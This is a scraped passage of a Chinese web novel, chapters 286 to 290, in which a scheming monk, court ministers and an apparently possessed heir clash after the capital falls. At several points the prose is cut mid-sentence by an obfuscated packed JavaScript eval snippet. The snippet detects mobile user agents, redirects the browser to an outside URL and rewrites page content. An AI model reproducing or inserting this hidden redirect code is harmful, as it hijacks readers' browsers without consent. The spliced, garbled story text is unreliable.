柳寻雁循着声音抬头四望,只见层层铁板仿佛从头顶的石壁上凭空出现,将这座本就十分严密的暗牢筑得更加严实! 随着最后一声铁板的响动,通往外界的台阶被阻隔,地牢中的最后一点光亮也消失不见。 “这老秃驴!” 咬牙切齿地咒骂着,柳寻雁立刻起身,朝着四下摸索而去。 “别白费力气了。” 天问大师的声音再次传来,这回倒明显是从头顶的方向而来。 众人齐齐抬头,只听咔哒一声,一扇隐蔽的暗窗被打开,光线射下,又立刻被天问大师的脑袋挡住了大半。 他露出一个笑容,显得十分愉悦。 “卑鄙小人!” 书画仰着脑袋,声音无力,愤怒却格外真情实感。 “只会耍弄这些诡计招数!” “非也,非也啊。” 天问大师这会儿似乎终于有了底气,语气也显得轻松了几分。 “这里可是东厂,你们用的,也全都是东厂的东西,怎么能说是贫僧卑鄙呢?”他笑意盈盈,“贫僧只是借用了九千岁的宝贝而已啊。” “我呸!”小花又想跳起来了,“不要脸的东西!我们又没犯错,你少给自己脸上贴金!” “小小丫头,口气倒是挺大!” 天问大师显然对小花印象深刻,转动脑袋朝着她看来,语气也不自觉地冷淡了两分。 “你坏了贫僧多少好事,恐怕你自己都不知道吧?留你一命,已经是贫僧手下留情了。” 小花又恶狠狠地呸了一声。 “是我们对你还有用处,所以不能杀吧?还说你不是给自己脸上贴金?装货!” 京城出事之前,她们是一直都老老实实地呆在谢都督府的,是这该死的秃驴带着人杀到府中,杀了大半的下人,又强行把她们带到东厂地牢囚禁了起来。 这段时间,所有人都被带出去审问过许多遍,都是遍体鳞伤。 可现在,这秃子竟然好意思说是是他留了她们一命? 小花的笑声变得更加嘲讽了。 天问大师没说话,虽然隔着一段距离,让下方的人看不到他的表情,可很明显,此人这会儿应该气得不轻。 “我看你是找死!”他沉声道。 “老秃子,欺负一个小孩,你就这点本事?” 曼娘也在暗牢之中,这会儿笑了一声,挡住他的威胁。 “别放大话了,”她语气冷漠,“你要是有种,就现在下来杀了我们,那我倒是能对你说一句佩服!没种,你就赶紧滚蛋,少来碍我的眼!” 她话音落下,天问大师砰地一声将暗窗合上了! “果然是没用的东西。” “哈哈哈……” 暗牢里的声音依旧能传到耳中,天问大师闭了闭眼,拔腿朝着更远的地方走了过去。 直到再也听不见这些笑声,他才停下脚步,又做了个深呼吸。 这些跟在叶晚竹身边的人,和叶晚竹都是一样的口舌犀利! 有她们受苦的时候! 用力呼吸几下,看着小心翼翼朝自己走来的手下,天问大师调整了一下表情,朝他招了招手。 “怎么了?” 天问大师的语气仍是冷淡,那手下听着这动静,不由得越发躬下了后背。 “大师……”他哆哆嗦嗦地在天问大师面前站定,“南疆军的大部队都追出城去了,孟世子,孟世子好像也不见了!” “不见了?” 天问大师下意识地反问了一句,随即便回过神来。 那些南疆人不老实,又以为自己已经掌控了京城,想趁这个时候动些手脚,也是正常的。 孟希越也想不到外面的将军真会带兵,说来说去,还是叶晚竹太过狡猾! 好在这暗牢里的一群人没被救走,他手里的筹码,还有几张! 只是这明显不能算是胜利的结果让人着实难受。 感受着大师身上的煞气变得更加浓郁,手下的背后也窜起阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968757|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵凉意,把脑袋埋得更低了几分。 京中的情况如此,别说是天问大师,就连他们这些手下,看着都有些心里打鼓! 这次,真的能顺利成功吗? 要知道,他们跟着天问大师走南闯北,也有很长的一段时间了,这还是大师第一次需要亲自出马,还不能大获全胜! 想着最近经历的一切,这个手下忍不住又哆嗦了起来。 “城里的情况,现在怎么样?” 天问大师没发现自己手下的异样,就算是看见,他也不会在意的。 他只是抬头看着京城的方向,先前的混乱,似乎都已经消失了,只剩下一片安静。 那手下连忙回过神,忍不住放轻了声音。 “南疆人只留下几千人手守城,除此之外,城中便没有其他的兵力了……” 先前五城兵马司和城北大营双双哗变,已经和南疆人打了一场,南疆人再撤走之后,城里这会儿只剩下一片残垣断壁。 “西北大军留下的浮桥还在,大批京城百姓这会儿都在出逃,那穆将军也在带着剩下的人手抓人呢。” 说到这儿,手下的态度变得更加小心翼翼了起来。 毕竟城门还有一个大窟窿在,不知道该怎么填呢! 天问大师这会儿也想到了那个被炸毁的城门,忍不住攥紧了拳头。 这计划实施到现在,简直是处处破绽! “大师……”手下还有话没说完。 “京中的官员们这会儿都在往宫中去,要找圣上呢!” 他这一路走来,已经看到皇宫外汇聚了不少大臣们,正小心翼翼地朝着尚未损毁的宫殿而去。 可无论是真皇上,还是那个假的,这会儿都已经被大火烧成灰烬了! 天问大师招手让他上前。 “你见过孟世子,是不是?”他问道。 这突如其来的问题让手下先是愣住,抬头看看天问大师似乎是认真的,这才点了点头。 “小的负责给世子送信……” “那就好。”天问大师眼中显出一丝笑意,“有件事,你去办最合适。” 第二百八十六章 是孟世子! 宫中。 准确地说,是曾经的宫中,眼下已经成了一片废墟,连大火的余温都在渐渐冷却。 宫墙都烧没了,一行大人们深一脚,浅一脚,从四面八方而来,又小心翼翼地汇聚在一起。 皇宫化为灰烬了,那圣上呢? 圣上若是活着,宫中发生了这样的事故,他们这些为人臣子的,当然要前来救驾。 圣上若是也遇难了……那有些事情,也需要早日安排才行。 毕竟,国不可一日无君,尤其是在眼下这么混乱的时候! 宫中放眼望去是一个活着的人都看不见了,好在各家府邸中都还有些府兵,勉勉强强也算是凑出了一支队伍。 倪宰相暂时当起了指挥,将府兵们全都散入宫中,找到一个活人就算一个! 等大批府兵离开,所剩无几的武将们也跟着而去,文臣们不好添乱,便都在倪宰相身边围拢起来。 “倪相,您说,咱们接下来这……” 京中的情况忽然之间就翻天覆地,谁也没想到会变成现在这样,这会儿看着周围乱七八糟的景象,几位上了年纪的大人们都是愁眉苦脸,唉声叹气的。 能让南疆人打入京城,还连皇宫都一起烧了,这天下,还能好的起来吗? 几个大人们互相看看,都露出了绝望的表情。 “这种时候,千万不能慌张!” 看着身边人的表情,倪宰相这会儿心里也没底,却还得强行克制住自己想颤抖的声音。 “先看看宫中的情况再说,圣上乃真龙天子,怎么会如此随随便便地就被那些南疆人害了去?我不相信!” 说着不相信的话,倪宰相的语气却并不那么斩钉截铁。 围在他身边的大人们见状,也只有叹气。 他们也不想相信圣上已经**,可,可—— 大人们又齐齐朝着眼前这一片废墟看了过去。 这里面,真能有人活下来吗? “大人!倪大人!” 就在这时,阵阵着急忙慌的喊声从不远处传了过来! 还真有收获不成? 倪宰相瞬间便打起了精神,眼巴巴地看着人影显现,朝着这边而来。 他方才派出去的一支府兵手忙脚乱地跑了过来,队伍最中央,四个人合力托着一个浑身是血的人! 倪宰相连忙冲了上去,一眼看见这陌生的衣袍,心忍不住凉了一半。 不是圣上! “相爷,是孟世子!” “他被埋在废墟里!” “手里还攥着这个!” 府兵们叽叽喳喳地说着话,一边将背上昏迷不醒的人影放在相对干净的一块地上。 怎么是孟希越? 倪宰相这会儿又愣住了,看着这张虽然沾染了不少血迹和脏污,但的的确确是属于孟希越的脸,他不由得又错愕起来。 这孟世子不是因为谋逆,一直被九千岁关押在东厂之中吗? 难道是趁着东厂的混乱跑出来的? 正满脑子都是浆糊,不知道哪个府兵递过来一样东西,倪宰相顺手就接了过来。 拿到眼前一看,他的表情立刻就顿住了。 是昭德帝随身携带的腰牌! 这腰牌出现在孟希越手中,那,那岂不是说明圣上他…… 眼前一黑,倪宰相控制不住地朝后倒去! “大人!” 一旁的府兵们连忙又七手八脚地上前将人扶住。 被搀扶着重新站起身,倪宰相已经是老泪纵横。 “圣上啊——”他捏着那腰牌,哆哆嗦嗦地哭了起来。 一众大人们也看到了腰牌,顿时接二连三地跟着嚎哭,又朝着废墟跪倒下去。 “咝——” 不知道过去多长时间,一声倒吸冷气的动静,将还在悲痛之中的各位大人们拉回了现实之中。 孟希越睁开了双眼,眉头紧蹙,一看就正处于极度的痛苦之下。 和各位大人们心里的难过不同,他明显是承受着肉体的折磨。 “把他给我带过来!” 倪宰相却是顾不上这位到底是哪里在难受,发现孟希越恢复了神智,他立刻大手一挥,让随从将这位架到了自己面前。 “你是怎么从东厂里跑出来的?圣上的腰牌又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968758|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么回事?说!” 身子还在哆嗦,脸上的泪痕也没有擦干,倪宰相的神情却已经变得格外威严了起来。 他抬手便将那腰牌塞到了孟希越鼻子下面,“老实交代!是不是你害了圣上!” 这可是被圣上亲口定过罪的! 一众大人们见状也上了前,有人同样激动,也有人一迭声地劝着倪宰相冷静。 “各,各位大人,你们听我说……” 就在这时,沙哑又难听的声音响起,大人们都是一静。 这是谁在说话? “是,是我!”孟希越艰难地清了清嗓子。 就算是看着他说话,孟希越发出的声音,也需要各位大人们分辨一番才能理解。 这安王世子的声音,怎么会变成这个样子? “是,是谢无咎!” 孟希越继续扯着嘶哑的嗓子开了口。 “这一切,都是他的精心策划,我们所有人,都在他的算计之中!” “这怎么可能?” 他话音未落,不知道哪位大人便失声喊出了口。 旁的不说,圣上这段时间以来,可是把所有事务都交给了九千岁,难道还不能证明对他的信任? 可话又说回来—— “圣上早就被谢无咎控制了!他的一言一行,都是谢无咎的授意,就连先前诬陷我的那场戏,也是谢无咎设计的!” “他要害死所有人,如此一来,才能彻底掌握京城和大梁的全部权力!” 孟希越扯着嗓子,看样子是在大吼大叫,可发出来的声音却并没有比刚才大了多少。 他又费力地抬起手,朝着依旧被倪宰相攥在手里的腰牌指了过去。 “今天晚上,谢无咎将我从地牢中带到宫里,打算制造我杀害圣上,意图篡位的假象,再趁机一举夺下皇宫的统治权。” “圣上却不知怎么清醒过来,要动用御林军抓捕谢无咎,谢无咎一怒之下,便将皇宫彻底炸毁!” “我救下圣上,却已经来不及了,圣上将这腰牌赐给我,还留下了最后的口谕,要我拿着腰牌,召集众人,退守内城,等待机会!” 第二百八十七章 他们是这么说的? 听着这一番话,倪宰相等人不免都瞪大了双眼,互相望望,都是一副震惊茫然的表情。 这话,他们是该信,还是不该? “我说的都是实话,千真万确!” 孟希越这时候又喘了几口粗气,眼中也带上了急迫。 “外城的情况已经到了无法挽回的地步,再这么下去,整个京城都要沦为南疆人的地盘,真到了那个时候,一切都来不及了!” “各位大人,你们,你们一定要相信我啊!” 似乎是为了印证他的话,孟希越的声音刚刚落下,宫城外围便又响起了几声零星的呼喊,透着阵阵惊慌。 “谢无咎和南疆人勾结,想渔翁得利,却被这些南疆军反噬,这才逃跑的!” “你们若是不相信我的话,那,那就眼睁睁地等着宫城也被摧毁好了!” 孟希越一连又说了几句,语气变得越发急迫,一双眼睛也瞪得老大,挨个朝眼前的大人们看了过去。 “大人们,本世子言尽于此,你们,你们自己好好想想吧!” 看着眼前这一身狼狈的安王世子,户部尚书张大人的眉头这会儿皱得很紧。 他左右看看,只见站在自己身边的两位大人,眼底也带着相同的情绪。 这位安王世子几句话说得前言不搭后语,更是漏洞百出,怎么想,怎么透着古怪。 有孟希越先前在京中的恶名,他和九千岁相比,大人们还是更相信后者一些。 “你——” “世子言之有理!” 张大人正要说什么,话头却忽然被截断了。 倪宰相束着双手,声音洪亮,一边说着话,一边朝那些府兵们点了点头,“还不快把安王世子扶起来?莫要让人再受了惊。” 这些府兵们正是宰相府的人,闻言连忙照做。 比起刚才,府兵们这会儿的动作就变得小心多了,堪称温柔地将孟希越扶到了倪宰相的面前。 张大人见状想说话,还没张口,便见倪宰相不着痕迹地给他递了个眼神。 他顿了顿,最终还是没出声。 “世子,方才一时情急,怠慢了您,实在是不好意思!” 亲手扶着孟希越的手肘,倪宰相上下打量了这位几眼,露出一个客气的笑容。 “不过,眼下情况特殊,本相也不能随随便便地处理,还请世子体谅。” “这,这是自然。” 或许是适应不了这突如其来的变化,孟希越的嘴角抽搐了两下,语气也变得讷讷的。 “世子的嗓子不适?”倪宰相这时候又忽然挑起了另外一个问题。 孟希越闻言又是一愣,然后才点点头,“是啊,被烟火熏烤,有些疼痛。” 一边说着话,他一边又用空着的那只手在自己的喉咙上来回摸了几下,露出一副难受的表情来。 倪宰相的眉头这便又皱了皱。 “谢无咎竟然如此大胆,为今之计,我等自然要听从圣上的旨意!还请世子移驾,暂时到更加安全的地方去休息,我等定当全力守住内城,不让那些南疆人攻进来!” “那就有劳大人了。” 孟希越又低低地应了一声,咳嗽个不停,见状,倪宰相这便又让随从将他扶着,往宫中还没有被波及到的殿中去安置了。 望着这一行人的身影走远,直到最后消失不见,张大人这才上前两步。 “倪相,您这是要做什么?” 这位安王世子的言行举止,无一不透着古怪,他此刻出现在宫中,显然不是什么好事。 倪宰相为何要假装不知,还配合他? “嘘——” 听着张大人这话,倪宰相转过头,一根手指轻轻压在了嘴唇上。 “张大人,”他的声音更轻,“此人能拿到圣上随身携带的腰牌,无论是什么情况,都说明圣上已经……” 倪宰相的这话没说下去,但一众大人们都听得明白,一个个脸色变得更加黯淡。 “圣上无后,安王世子此刻却出现在这里,无非是要给我们一个方向。” 倪宰相的声音变得更低了,细听过去,还带着掩饰不住的憎恨。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974582|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “无论他背后的人究竟是谁,目标都是为了皇位,与其日日提心吊胆,没完没了地防备,倒不如,一劳永逸!” 扣下这所谓的安王世子,再慢慢看这个幕后之人,还打算如何动手! 几位大人们互相对视一眼,都明白了过来,只是面上的担忧变得更深。 “相爷,这,这能行吗?” 刑部尚书华大人的眉头皱得像个大疙瘩,衬得他本就乌黑的脸色更加晦暗。 “这些人连皇宫都敢动手,显然是无所顾忌,真要让这安王世子留下,他强行登基,那,那一切可就都无法挽回了!” 倪宰相闻言又笑了一声,透着尖刻。 “无所顾忌?我看未必。” “事到如今,京城都已经成了这副模样,各位大人,你们谁看见真正的始作俑者了?” 几位大人们互相看看,又都摇了摇头。 “不错,不错,”张大人捻着胡须,“下官先前以为这一切都是安王世子的手笔,可眼下看来,却绝非如此。” 不仅绝非如此,就连刚才那连几句话都说不利索的人是不是真正的安王世子,恐怕还有待区分。 “正是。”倪宰相的语气也变得坚定,“此人背后一定还有什么人在暗中指点,我想,如此藏头缩尾,应该是不想承担任何骂名,想清清白白地摘下最后的桃子。” 敢把京城用如此毒计搅合得天翻地覆,却连一个面都不露! 这是个彻头彻尾的鼠辈罢了。 想到这儿,倪宰相的眼神变得更冷几分。 “各位大人便佯装不知,继续行事,我倒是要看看,究竟是谁在操纵这一切!” 张大人等几人互相望望,也都点了点头! 众人这会儿皆是表情凝重。 从现在开始,只怕日后只会变得更加难过了! “走吧,先清理宫中,看看还有没有什么发现。” 倪宰相重重地叹了口气,率先抬步往宫中走去。 “哦?他们是这么说的?没看出来,这些人的心思还不小。” 第二百八十八章 静观其变 东厂之中,听着手下传回来的宫中情况,尤其是倪宰相等人的交谈,天问大师双手背后,笑声显得凉冰冰的。 无尘大师站在他身边,这会儿正皱着眉头,再也看不出先前的一脸慈祥。 “大师,”他转向天问大师身侧,“这些人太不识趣了!不若咱们——” “诶。” 已经猜到无尘大师要说什么,天问大师抬起胳膊摆了两下,语气便透着否定。 “五城兵马司和城北大营的教训已经够了,这个时候再动手换人,只会让宫中的情况变得更加被动。” 这两支队伍换了将军之后,不仅没有达到天问大师想要的效果,甚至还反而折损了南疆军的不少兵马。 “这大梁的局势,远没有你想象的那样简单,”他又缓声开口,“那倪宰相显然是朝廷栋梁,手中不知道握着多少东西,否则也不会轻而易举地就看破孟希越的伪装。” “这种情况之下,贸然换掉他,我们的人上去也是两眼一抹黑,还不如不换。” 其他几位也是一样的。 “可,可——” 话虽如此,无尘大师这会儿还是更加用力地皱起了眉头。 “可他们这会儿已经有了防备,肯定不会轻易让宁空登上皇位的!” 他话音未落,一道冷冷的目光骤然袭来。 天问大师斜晲着无尘大师,眼神冰冷如刀,无尘大师顿时后背发凉,手脚也跟着变得不听使唤。 他哆哆嗦嗦地朝着天问大师看去。 “谁是宁空?” 天问大师的语气分明是淡淡的,却让无尘大师忍不住又打了个哆嗦! “没,没有宁空……”他艰难地咽了咽口水,“是,是安王世子!” 从变成孟希越的那一刻开始,宁空这个随从,就应该彻底不存在了! “是我一时疏忽……”无尘大师又硬着头皮继续开了口。 “没有下次。” 天问大师冷淡地收回目光,浑身的杀意也收敛了下去。 无尘大师这才松了口气,却不敢接着放松,而是又更加小心地提心吊胆了起来。 “大师,那,那依您之见,现在该怎么办才好?” 天问大师倒也无心纠缠,警告过后,便也跟着将思绪转回到眼前。 “无须过多插手,我们静观其变。”他思忖片刻,淡淡地开了口。 “啊?这……” 无尘大师闻言又是一惊,想说什么,却又有些不敢开口,吞吞吐吐地瞧着天问大师,表情十分纠结。 天问大师这时候又双手背后,面上的神情变得冷厉了起来。 “他们想利用安王世子,找出幕后的真正领导,那也就得顺着咱们的计划进行。” “这就够了,只要孟希越能坐上皇位,他们很快就会知道,玩火**是什么下场。” 短短两句话,听得无尘大师背上的冷汗又全都冒了出来。 “这件事现在不重要,让人盯着就好。、” 天问大师这时候不耐烦地摆了摆手,转头又朝着京城外城的方向看了过去。 “孟希越被叶晚竹抓走了,不能让他留在叶晚竹手中,否则终是隐患。” 叹了口气,天问大师的声音里终于显出了一丝疲惫。 “京中的情况你来盯着,有什么问题及时联络。” 这就是要亲自去解救真正的孟希越了。 无尘大师点了点头,神情又变得严肃起来,“大师放心!” “不要轻举妄动,更不要自作主张。” 天问大师的脸色和语气却并不是要放心的意思,不仅如此,他还又垂下目光,格外严厉地剐了无尘大师一眼。 心知是因为刚才的口误,无尘大师这会儿嘴里发苦,身上发凉,却也只能把腰弯得更低,语气也变得越发谦卑。 “请大师放心,我都记住了。” 闻言,天问大师这便没再说话,最后冷冷地看了无尘大师一眼,拂袖离开,身形一瞬间就在空中消失不见。 一直等到他的背影完全消失,无尘大师这才抬起头,望着天空,又后知后觉地打了个哆嗦。 自从来到这大梁的京城,不仅计划屡次失败,这天问大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974583|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脾气,也越来越暴躁了! 怎么想,都不是什么好兆头! —— 京中的变化,十几里外的禹山上这会儿还不得而知。 叶晚竹带着二十万西北大军佯装撤退,成功勾引得南疆军从京中全数撤出,追在他们的屁股后面,一路跑到了提前设下的陷阱之中。 早已准备就绪的兵马在峡谷里将南疆军的大部分兵力堵了个结结实实,弓箭手从上方现身,手执火箭瞄准了下方的兵马。 “怎么回事?” “中计了!” “卑鄙的大梁人!” 惊慌的呼喊和咒骂声响彻山谷,南疆兵马想突围,却发现前后的通路都被堵得严严实实的。 “怎么样?这局势,是不是有点眼熟?” 一侧的山坡之上,叶晚竹站在空旷的高处,一边看着下方的情形,一边斜晲着站在一旁的孟希越。 孟希越这会儿的状况,已经不能够用狼狈来形容了,他鼻青脸肿,身上的衣裳也磨得破破烂烂,就连头发都成了一团鸡窝。 从京城一路奔袭至此,最初的惊恐过去之后,孟希越恢复了神智,便开始屡屡尝试逃跑,而这就是他尝试之后的结果。 听见叶晚竹的话,孟希越脸色阴沉,垂着头状若未闻。 “殿下问话,你老实回答!” 隐月正站在他身后,反剪着孟希越的一双胳膊,没好气地喝了一声,又重重抬脚在他腿上踢了一下。 孟希越闷哼一声,身子一个踉跄,被隐月牢牢抓稳,才没倒下。 饶是这般,他却还是没有开口说出半个字来。 “世子不说,是不想说,还是不好意思说?” 叶晚竹倒也不恼,轻笑一声又走上前几步,一把扯住孟希越的衣领,强迫他跟着自己的动作,往山崖旁走了过去。 孟希越想挣扎,手腕却立刻一紧,是隐月又在后面加大了力度。 他又闷哼了一声,这个时候,已经被叶晚竹抓着来到了崖边。 “看看吧,世子,这不就是你当初在南疆一战成名的模样吗?” 第二百八十九章 他是不是疯了? 冷冷笑着,叶晚竹的语气绝对算不上好。 在当初孟希越给京中发来的战报里,正是这么一场将南疆大军堵在峡谷中的战役大胜,这才奠定了日后的一切胜利。 可就是这么关键的一仗,在南疆人眼中,结果却是截然相反。 “这就是你给南疆王的投名状吧?” 手上又用了点力气,叶晚竹的声音显得无比冰冷。 “是又怎么样?” 孟希越艰难地出了声,抬眼看着叶晚竹,眼中全是嘲讽。 他的衣领被叶晚竹死死攥在手里,后者用的力气不可谓不大,孟希越这会儿只感觉自己呼吸不畅,全身的血液似乎都在往脸上灌。 这更是让他阴恻恻地笑出了声。 “你一个外姓之人,有什么资格插手孟家的事?” “我有没有资格,你说了不算。” 叶晚竹的情绪并没有太多波动,倒是反手又狠狠地扇了孟希越一记耳光。 “你害死南郡和京城多少百姓,只为了自己那点私利,你都好意思大言不惭地质问我,我又有什么不好意思的?” 孟希越被这一耳光扇得猛地仰起身子,眼神也变得涣散,却又很快恢复了方才的模样。 不仅如此,他面上的笑容还更加嚣张了起来。 “我就是这么做了,你能拿我怎么办?” “你!” 孟希越这会儿的语气嚣张至极,隐翼本是站在一旁,听着这欠揍的语气也忍不住走上前来,一脚踢在孟希越膝窝! “狗东西,害死这么多人,你就一点儿也不觉得愧疚吗?你夜半三更,也能睡得着觉?” 闻言,孟希越更是露出了一个微笑。 “能啊,而且还睡得很香。” 他的口气更挑衅了,隐翼脸色阴沉,又是一脚狠狠踹了上来! “你这该死的畜生!” 又挨了这一脚,孟希越的膝盖再也受不住,猛地发出了一声清脆的喀嚓声,他人也随之软倒下去,咚地一声半躺在地上。 因为疼痛而抽搐着,孟希越面上扭曲,叶晚竹多看了两眼,却又觉出了不对劲。 这货竟然在笑?? “他,他是不是疯了?” 看着孟希越癫狂的模样,隐月忍不住皱了皱眉,小声跟叶晚竹说着话。 叶晚竹这会儿也是眉头紧皱,却并不是因为隐月的话。 她怎么看着,都感觉孟希越这个样子十分的不对劲。 他好像在故意激怒他们似的。 可都到了眼下的这种局势之中,孟希越身边空无一人,连半个手下都没有,却这么执着地激怒他们,对他自己有什么好处? “叶晚竹。” 就在她思忖的空当,孟希越的声音又一次传来,显得更加阴森可怖。 他翻着白眼抬起头,和叶晚竹四目相对,笑容邪恶,好似被什么厉鬼附身了一般。 “你们都要死,而且很快了……” 嘿嘿地笑了起来,孟希越手脚抽动着,频率还变得越来越猛烈。 隐月瞠目结舌地看着他的动作,自己手上也不得不加大了几分力气,以免被孟希越挣脱出去。 真的有人能做到这样的动作吗—— 疑问还没想完,孟希越的动作忽然猛地顿住! 下一刻,他豁然站起身,一拳便朝着隐月的脑袋砸了过去! “**吧!”孟希越的语气疯狂无比! 隐月连忙松手后退,已经感觉到了从孟希越身上散发出来的杀气,他一边躲避,一边控制不住地打了个哆嗦。 这力道,绝对不是孟希越在正常情况下能使出来的! 隐月身形如电,已经使出了全身的解数,也只是将将从孟希越的拳头下擦肩而过。 饶是这般,他还是被孟希越的拳风所伤,捂着胸口后退两步,表情变得十分难看。 抬手擦了擦嘴角溢出的血迹,隐月这会儿感到胸口鼓胀,连呼吸都变得困难起来。 只是被拳风擦过便是如此,若真要被这一拳砸中…… 隐月忽然就有些不敢想象那画面了。 “你比我父王身边那两个要厉害一点。” 孟希越这时候开了口。 似乎是没想到他这一拳竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979152|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没能得中,孟希越冷冷地站在原地,看了看自己的拳头,又看了看站在几步开外,表情难看的隐月,末了又忽然笑了一声。 “不过也没关系,只是再来一次罢了。” 话音未落,他便又一次朝着隐月而去! “小心!” 隐翼这时候飞身而起,一脚踹向孟希越的后背,“我来助你!” “没用!” 孟希越的笑声变得愈发得意,他反身一掌朝隐翼击出,比刚才还要强劲的气势也逼得隐翼不得不后退半步。 不过他这一击到底还是耽搁了动作,隐月忍着胸口的疼痛冲上前来,手中长剑一挥,便要朝着孟希越的心口刺下! 孟希越再次闪身躲过,飞起一脚踢在隐月手腕,只听啪地一声,隐月手中的长剑飞出,他也捂着变形垂下的手腕,一脸惨白地后退了两步。 “你要找死,那我就成全你啊!” 狞笑着,孟希越再度朝隐月攻了上去! 叶晚竹这时候也跟上前去。 仅凭身手,她无法和隐月等暗卫相当,更别说眼下这不知为何,忽然间就狂性大发的孟希越了。 此人究竟是为什么会忽然变成这个模样? 这个念头只有在心里翻滚了一瞬的时间,叶晚竹便已经冲到了孟希越身侧,她抬起手,一把鲜红的药粉便狠狠摔上了他的脸! 明的打不过,只有使点阴谋诡计了! 屏住呼吸,叶晚竹一击的中,便猛地后退几步,与此同时,隐月也踉踉跄跄地避开了孟希越的那一拳! 终究是被这药粉阻挡了视线,孟希越的身形有了一瞬间的停滞。 片刻后,他却冷笑一声,转头便朝着叶晚竹看了过来。 “大义凛然了这么久,最后还是要使出这样的阴招,威远王殿下,您有没有觉得,自己很恶心啊?” 顶着一脸药粉,孟希越的眼神却十分清明,没有一点儿受到影响的痕迹。 叶晚竹等几人都皱起了眉头。 这是东厂最强力的**,毒性不小,却不能影响到孟希越半分? “拿命吧——” 第二百九十章 南疆血蛊 孟希越的声音如同从地狱中爬出的恶鬼,那张被红色药粉覆盖的脸扭曲变形,嘴角咧开一个非人的弧度。 他的眼白上布满血丝,瞳孔却缩成了针尖大小,在明亮的天光下闪烁着野兽般的凶光。 从未见过如此诡异的状态,叶晚竹心头一凛,本能地后退半步。 孟希越的肌肉以肉眼可见的速度膨胀,将原本合身的衣袍撑得几欲破裂,皮肤下青筋暴起,如同无数蚯蚓在皮下蠕动。 “这不对劲!”隐月捂着受伤的手腕,声音里带着震惊,“他,他体内有东西!” 话音未落,孟希越已经再次如离弦之箭一般扑来! 他的动作快得不可思议,几乎在空气中留下残影。叶晚竹只来得及侧身,那带着腥风的拳头便擦着她的脸颊而过,将一旁的古木砸出一个碗口大的坑洞! 那几人合力才能环抱的大树发出一阵吱呀声,随即又轰地一声从中间断成了两截! “小心!” 烟尘四起之时,隐翼从侧面突袭,手中短剑直取孟希越咽喉! “看招!” 然而,他这一剑却刺了个空! 孟希越的脖子猛地扭转了一百八十度,以一个诡异的角度转了过来,又朝着隐翼露出一个笑容。 “太慢了。”他阴恻恻地笑了起来。 咔嚓一声,隐翼的短剑被孟希越徒手折断,紧接着一记肘击重重落在隐翼胸口。 他整个人被击飞了出去,撞在不远处的另外一棵大树上,喷出一口鲜血晕倒在地。 叶晚竹瞳孔骤缩。 隐翼是东厂顶尖高手,竟连一招都接不住? “怎么回事?” 这里响动震天,随着隐翼落地的动静,岑灵川的声音猛地响起! 他方才受了伤,索性便带着**的谢无咎提前一步赶到了这里,却没想到,竟然会看到这样的景象! 好强的煞气! “师妹退后!” 咬紧牙关,岑灵川从袖中滑出三枚银针,针尖泛着幽蓝光芒。 这银针淬了剧毒,见血封喉,是他保命的最后手段。 “没用的,威远王。” 孟希越的声音变得嘶哑低沉,仿佛有另一个人在他体内说话。 “我劝你,还是不要浪费力气了!” 一双眼睛看着强打精神的岑灵川,孟希越的话却是对着叶晚竹说的。 “你们都得死,不要再挣扎了,哈哈哈……” 他放声大笑,却是两种声音合在一起,听上去更是说不出的诡异。 岑灵川的表情已经变得难看至极。 “是南疆血蛊!”他死死咬紧了牙关。 血蛊? 叶晚竹心头一震! 